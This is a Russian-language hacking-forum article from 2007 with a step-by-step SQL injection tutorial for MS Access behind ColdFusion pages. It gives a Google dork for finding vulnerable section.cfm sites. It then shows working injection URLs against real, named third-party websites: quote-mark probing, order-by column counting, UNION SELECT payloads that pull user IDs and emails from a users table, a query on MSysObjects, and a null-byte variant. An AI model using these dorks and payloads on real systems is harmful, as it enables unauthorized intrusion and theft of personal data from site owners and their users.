Sql иньекция в MS access

Тема в разделе "Статьи", создана пользователем Constantine, 19 окт 2007.

  1. Constantine
    Constantine Guest
    INTRO
    Так как я был обвинен в плагиате, сделаем проще рассмотрим этот вариант иньекции на примере:

    Составляем дорк для google.com
    PHP:
    inurl:"section.cfm?id"
    почему именно такой? все просто - дело в том что section.cfm это скрипт написаный на интерпретируемом скриптовом языке программирования ColdFusion поставляющимся для систем на OS Windows, т.е на сайтах с ошибкой в параметре этого скрипта есть вероятность встретить MS Acсess

    Совершив поиск получаем нехидый списочек - Результаты 1 - 10 из примерно 43 400 для inurl:"section.cfm?id".

    Щелкаем на первую же ссылку
    Код:
    http://www.compostingcouncil.org
    Подставляем кавычку в перменную
    Код:
    http://www.compostingcouncil.org/section.cfm?id=25'
    Читаем ответ сервера

    PHP:
    ODBC Error Code = 37000 (Syntax error or access violation)
    [
    Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'id = 25'''.
    The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:59)
    Это стандартная ошибка из представленной информации видно что мы попали на MS Access

    Подбор столбцов
    Увы но никакого нового способа при подборе столбцов нет, все тот же order+by

    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+order+by+1
    Такой запрос вернет исходное содержимое страницы

    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+order+by+20
    Такой ошибку показывающую что столбцов меньше 20

    PHP:
    ODBC Error Code = S1000 (General error)
    [
    Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine does not recognize '20' as a valid field name or expression.
    The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:59).
    Немного поиграв с ордер баем понимаем что столбцов - 13

    Вывод
    Отличительной особенностью Ms access являеться то, что для выявление принтабельных столбцов или их отсутствия, необходимо указать в запросе существующую таблицу
    Таким образом запрос
    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13+from+users
    будет единственно верным, что будет если не указать таблицу вы легко можете узнать сами

    Далее методом банального перебора узнаем имена колонок
    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+union+select+1,2,3,4,5,6,7,userid,email,0,11,12,13+from+users
    К сожалению колонку с паролем я не подобрал, но это так скажем частный случай

    В данном примере все записи были выведены ввиде таблицы, однако если вам не так повезет, то нужно помнить что в MS Access нет limit. Выборку надо производить по определенному параметру, предположим userid. Например:
    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+union+select+1,2,3,4,5,userid,email,8,9,0,11,12,13+from+users+where+userid=2
    Аналог information_schema.tables
    В Мс Акцесс - это таблица MSysObjects, однако очень часто случаеться что в отличие от аналогичной таблице в Mysql к этой таблицы мы доступа не имеем из-за недостатка прав

    Код:
    http://www.compostingcouncil.org/section.cfm?id=25+union+select+1,2,3,4,5,6,7,name,9,0,11,12,13+from+MSysObjects
    Здесь вывод мы имеем, да к тому же ввиде таблицы

    Траблы
    Из известных траблов встречается необходимость ставить коменты, вот например здесь этого делать непришлось!
    А вообще используеться урл версия null байта например:

    Код:
    http://www.lahaltejeanmace.com/section.cfm?id=55+order+by+6
    вернет нам нормальную страницу, верно использовать такой запрос
    Код:
    http://www.lahaltejeanmace.com/section.cfm?id=55+order+by+6%00
    и мы сразу видим что столбцов меньше 6

    END
    На меня конечно можно вылить ведро дерьма, но вот стоит ли это делать нужно трижды подумать.
    Далее многонеуважаемый Тевтон или как тебя там ты лично можешь увидеть, что сначала иньеция была обнаружена- замтем было подобрано колличество столбцов - затем выведена информация - потом была разобрана известная мне трабла. Статья как обстрактное представление частного случая редко откланяеться от этой схемы
     
    Последнее редактирование модератором: 20 окт 2007
    19 окт 2007
    3 пользователям это понравилось.
Загрузка...